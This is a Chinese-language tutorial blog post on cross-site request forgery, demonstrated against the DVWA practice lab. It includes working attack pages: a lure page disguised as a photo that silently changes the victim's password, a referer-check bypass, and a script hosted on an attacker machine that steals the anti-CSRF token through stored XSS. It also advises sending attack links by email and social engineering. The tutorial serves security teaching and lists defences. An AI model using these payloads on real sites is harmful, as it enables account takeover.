本文最后更新于 2024-07-26,文章内容可能已经过时。

OWASPtop10_CSRF跨站请求伪造漏洞

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

CSRF漏洞介绍

定义:Cross-Site Request Forgery 跨站请求伪造漏洞

理解:

1.跨站点的请求;

2.请求师伪造的

是一种挟制用户在当前已登录的web应用程序上执行的非本意的操作的攻击方法。

概述:

csrf: cross site request forgrey 跨站请求伪造。当攻击者不能通过常用的手段获取cookie时候,可以通过伪造请求方式,让受害者自己点击链接触发服务器数据修改操作。由于请求是从受害者自己浏览器发送。所以,服务器会收到与该浏览器绑定的sessionid,一般用户点击后,攻击就完成了,有时候CSRF也称为一次性攻击。

漏洞形成原因:

CSRF漏洞成因师网站的Cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问网站,都会默认你已经登录的状态,而在整个期间,攻击者发送了构造好的csrf脚本或者包含csrf脚本的链接,可能会执行一些用户不想做的功能(如添加账号等)。

CSRF模型:

image-20231226225944147.png

CSRF攻击流程:

  1. 用户登录受信用的网站A,并在本地生成Cookie
  2. 在不登出A的情况下,访问危险网站B
  3. 执行危险网站b上的代码
  4. 搜索合天网安实验室CSRF攻击实验

CSRF攻击定义:

正常的CSRF攻击,增删改等操作(基于操作的CSRF),

另类的csrf:JSONP,CORS,Flash跨域劫持(基于文件读取的csrf)

CSRF攻击简单体验

1、通过构建请求,直接发送给受害者。

使用firefox浏览器登录到DVWA靶场,把security等级设置为low,切换到CSRF标签中,并且使用burp或者firefox浏览器自己的工具,抓包后查看修改密码的请求如下:

image-20240224191906079

2、把攻击的url发给受害者

3、让受害者先登录一下DVWA系统

4、在登录的情况下,把上面的连接在同一个浏览器中打开一下

5、可以发现密码已经被修改了

攻击简单升级

直接把攻击的url发给用户,很容易暴露,可以做一个美女图片的网页,放在黑客服务器上,并且把网页的连接发给受害者去浏览。

http://192.168.4.142/hz03/goods/upload/test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>美女图片</title>
</head>
<body>

    <a href="http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/?password_new=password3&password_conf=password3&Change=Change">
        <img width="500px" height="400px" src="0.jpg"/>
     约吗
    </a>

</body>
</html>

无感攻击

上面的攻击结束后,修改了密码,页面跳转到了修改密码的地方,这会让用户知道。下面修改一下代码,让用户在不知道的情况下,被攻击。把html的页面代码改为如下;

这段代码在chrome中无法攻击成功,可以使用firefox来尝试

<!DOCTYPE html>

<html lang="en">

<head>

 <meta charset="UTF-8">

 <meta name="viewport" content="width=device-width, initial-scale=1.0">

 <title>美女图片</title>

</head>

<body>

​

 <a href="http://www.wowops.com/photo/woman/"><img width="500px" height="400px" src="0.jpg"/>约吗</a>

​

</body>

<script src="http://192.168.248.128/dvwa/dvwa/vulnerabilities/csrf/?password_new=222222&password_conf=222222&Change=Change">

</script>

</html>

burp工具生成poc页面

image-20231120140633397
image-20231120142047867

CSRF利用条件:

1、用户需要登录目标系统

2、点击了含有恶意链接的url,或者访问了其他包含恶意链接的页面

3、访问恶意链接和登录目标系统必须使用相同的浏览器

防御和绕过:

(1)对所有请求来源进行校验:校验请求头中的referer字段

dvwa中级

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
//这个函数判断的是如果前面字符串包含后面字符串,则判断为true

通过referer字段中是否存在host值方式校验。
绕过: 将含有恶意链接的csrf页面的名字改为含有host值。
csrf_192.168.32.129_test.html

image-20231120160337072

(2)使用token,对所有的请求进行校验。

dvwa high 级别:user_token获取问题:

1.user_token来自于csrf页面
<input type='hidden' name='user_token' value='2deaabffd267fb23c6dd64911a378250' />

2.修改密码请求:
/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=2deaabffd267fb23c6dd64911a378250

如何绕过上面的动态token校验呢?

利用XSS的存储型漏洞,先把文件内容上传到受害者服务器。然后在访问页面。

  • 先把DVWA安全等级调整为low,利用xss的存储漏洞,把上面的文件内容稍微修改一下,保存到服务器上。

如下的内容依靠xss存储型漏洞上传到被攻击的主机上

192.168.4.142:是黑客的主机

<script src="http://192.168.4.142/hz03/goods/upload/csrf.js"></script>

<a id="tar"  href="javascript:upwd()">
<img width="500px" height="400px" src="http://192.168.4.142/hz03/goods/upload/0.jpg"/>新版约吗</a>

image-20240224222813249

在黑客的服务器(192.168.4.142:我的windows主机)上制作一个csrf.js文件

192.168.248.128:是受害者的服务器(linux服务器)

function upwd(){
    xhr = new XMLHttpRequest();
    xhr.onreadystatechange=function (){
        if(xhr.readyState==4 && xhr.status<400){
            resp = xhr.responseText;
            partten=/name='user_token' value='(.+)'/;
            token = resp.match(partten)[1];
            url = "http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/?password_new=000000&password_conf=000000&Change=Change&user_token="+token;
            location.href=url;
        }
    }
    xhr.open('get','http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/');
    xhr.send();
 
 }
  • 把安全等级再调整为high,在xss存储型漏洞地方,访问刚刚保存的脚本链接
    image-20240224223131675
  • 查看是否密码已经被修改成功

(3)避免交叉漏洞。

(4)二次校验:针对所有数据修改,需要提交原密码。

XSS和CSRF总结

  • XSS:

1、如何寻找漏洞

白盒测试:在代码中查询input关键字

黑盒测试:打开页面寻找可以输入的点

2、确定目标用户

我们需要确定被攻击的目标用户是哪些,因为需要把攻击链接发给目标用户点击。

3、把攻击链接地址发给目标用户

社工,邮件

4、三种xss类型的选择

优先用存储型,然后在尝试dom和反射型

  • CSRF:

1、如何寻找漏洞

白盒测试:查看一些更新操作,是否对请求头referer进行限制

黑盒测试:找到页面中的更新点

2、更新的前提

  • 前置工作:先研究一下系统,获取到更新操作的url以及参数
  • 修改上一步的参数,完成伪造的请求url
  • 如果是post提交,必须伪造页面
  • 用户必须是登录状态
  • 用户必须使用登录的浏览器来请求伪造的链接

3、防御:

  • 避免交叉漏洞
  • 严格检查请求头中的referer
  • 二次校验:针对所有数据修改,需要提交原密码